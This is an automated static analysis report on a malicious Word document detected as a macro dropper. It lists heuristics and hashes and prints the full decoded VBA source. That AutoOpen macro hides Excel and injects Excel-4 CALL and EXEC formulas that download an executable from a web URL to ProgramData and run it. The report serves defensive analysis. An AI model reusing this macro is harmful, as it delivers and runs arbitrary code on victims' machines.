Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c8edb29a5a9c93f4…

MALICIOUS

Office (OOXML)

15.7 KB Created: 2021-01-23 21:47:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-02-23
MD5: b7dd6ccbbdf8b00433bd5b33239db913 SHA-1: 5090e3f405956a5395121b2c3678f2283103f290 SHA-256: c8edb29a5a9c93f49cbf1d31863330594421c7146082812c4bb0ad01a9088418
310 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ExcelSheet.Application.Cells(108, 1).Value = "=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"",""C:\ProgramData\fin.exe"",0,0)"
  • VBA injects an Excel-4 macro CALL to a download/exec API critical OLE_VBA_XLM_CALL_INJECTION
    VBA writes Excel-4 (XLM) =CALL() formulas targeting urlmon URLDownloadToFile / Shell32 ShellExecute and runs them. This VBA-to-XLM bridge downloads and executes a payload while keeping the API names out of normal VBA keyword scanning.
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • https://the.earth.li/~sgtatham/putty/latest/w32/putty.exeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1198 bytes
SHA-256: 1d2cf2b33f088729b47850610cdd24640e94bae8167de1d260a8a0e06cc4e2ff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()
Dim ExcelSheet As Object
Dim strMacro As String

Set ExcelSheet = CreateObject("Excel.Application")
Set Workbook = ExcelSheet.workbooks.Add()
Set Worksheets = ExcelSheet.Worksheets

ExcelSheet.DisplayAlerts = False
ExcelSheet.Application.Visible = 0


Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4
On Error Resume Next


ExcelSheet.Range("A1").Name = "ok"

ExcelSheet.Application.Cells(108, 1).Value = "=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"",""C:\ProgramData\fin.exe"",0,0)"

ExcelSheet.Range("A109") = "=WAIT(NOW()+""00:00:6"")"
ExcelSheet.Range("A111") = "=EXEC(""C:\ProgramData\fin.exe"")"





ExcelSheet.Sheets(1).Visible = 2



strMacro = "ok"
ExcelSheet.Run (strMacro)

ExcelSheet.Application.Quit
Set ExcelSheet = Nothing

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 0c69e52fb340d7a8d221c0ae28fb30fbb273b5f483ac64bdc5ab491d614b7754
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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